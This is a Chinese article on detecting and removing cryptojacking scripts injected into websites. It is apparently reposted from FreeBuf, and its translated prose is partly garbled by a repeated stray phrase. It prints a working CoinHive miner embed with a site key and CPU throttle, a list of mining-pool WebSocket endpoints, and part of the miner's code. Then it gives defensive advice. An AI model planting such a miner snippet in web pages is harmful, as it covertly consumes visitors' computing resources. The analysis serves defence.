主页 > 下载最新版imtoken钱包 > 如何防止网页被挖矿
如何防止网页被挖矿
0×0 背景
上一期分享了该软件的挖矿记录。本次分享也是来自大神沉默的分享
挖矿已经成为黑帽们获利的主要手段。最近无意中发现有些网站被挂断后被黑了。与常规病毒操作系统的挖掘行为不同个人如何挖矿,网页主要是在网站上挂载恶意JS脚本个人如何挖矿,访问网站。该网站触发挖掘操作。目前很多网页挖掘主要使用CoinHive。一般挖矿用户直接使用C或其他语言构建的矿工客户端在CPU或GPU上计算Hash。前端挖矿用户在不知情或不知情的情况下被动或主动利用浏览器的 CPU 或 GPU。
0×1现象
请点击图片放大
访问恶意网站时CPU飙升,关闭网站后恢复正常。
关闭后:
0×2源码分析
查看网页源代码,找到一些挖矿代码。简单确定非手机浏览器后,即可开始挖矿操作。
浏览器进程占用大量CPU资源:
查看在浏览器进程中,可以在内存地址中找到挖矿地址的痕迹:
主要引用的挖矿代码详情在引用的JS脚本中,只占用了70%的CPU资源。
[Asm]纯文本查看复制代码
<#script src="https://coinhive.com/lib/coinhive.min.js"> var miner = new CoinHive.Anonymous('Jgv7noixIKHmJ7IIhAR9jySAwG3ZU8vt', {throttle: 0.7}); if (!miner.isMobile() && !miner.didOptOut(14400)) { miner.start(); } <#/script>
Jgv7noixIKHmJ7IIhAR9jySAwG3ZU8vt:CoinHive中的钱包地址; throttle:浏览器占用 CPU 的阈值,调整适当的阈值后,用户很难注意到浏览器的计算能力被滥用。 coinhive.min.js的源码如下:
挖矿脚本使用WebSocket与矿池通信。部分矿池节点如下:
[Asm]纯文本查看复制代码
wss://ws001.coinhive.com/proxy wss://ws002.coinhive.com/proxy wss://ws003.coinhive.com/proxy wss://ws004.coinhive.com/proxy wss://ws005.coinhive.com/proxy wss://ws006.coinhive.com/proxy wss://ws007.coinhive.com/proxy wss://ws008.coinhive.com/proxy wss://ws009.coinhive.com/proxy wss://ws010.coinhive.com/proxy wss://ws011.coinhive.com/proxy wss://ws012.coinhive.com/proxy
挖矿脚本允许自动调整线程数:
[Asm]纯文本查看复制代码
this._throttle=Math.max(0,Math.min(.99,this.params.throttle||0)); this._stopOnInvalidOptIn=false; this._waitingForAuth=false; this._selfTestSuccess=false; this._verifyThread=null; this._autoThreads={ enabled:!!this.params.autoThreads, interval:null, adjustAt:null, adjustEvery:1e4, stats:{} }; this._tab={ ident:Math.random()*16777215|0, mode:CoinHive.IF_EXCLUSIVE_TAB,g race:0, waitReconnect:0, lastPingReceived:0, interval:null };
0×3 解决方案:
1.根据页面查看网页源代码,搜索CoinHive、Miner等关键词,可以快速定位界面,使用记事本或网页编辑器删除关键挖掘代码。
2.使用目前所有所谓的浏览器拦截挖矿代码
3.访问小电影网站时要多注意你的CPU性能。
*本文作者为si1ence,转载自FreeBuf.COM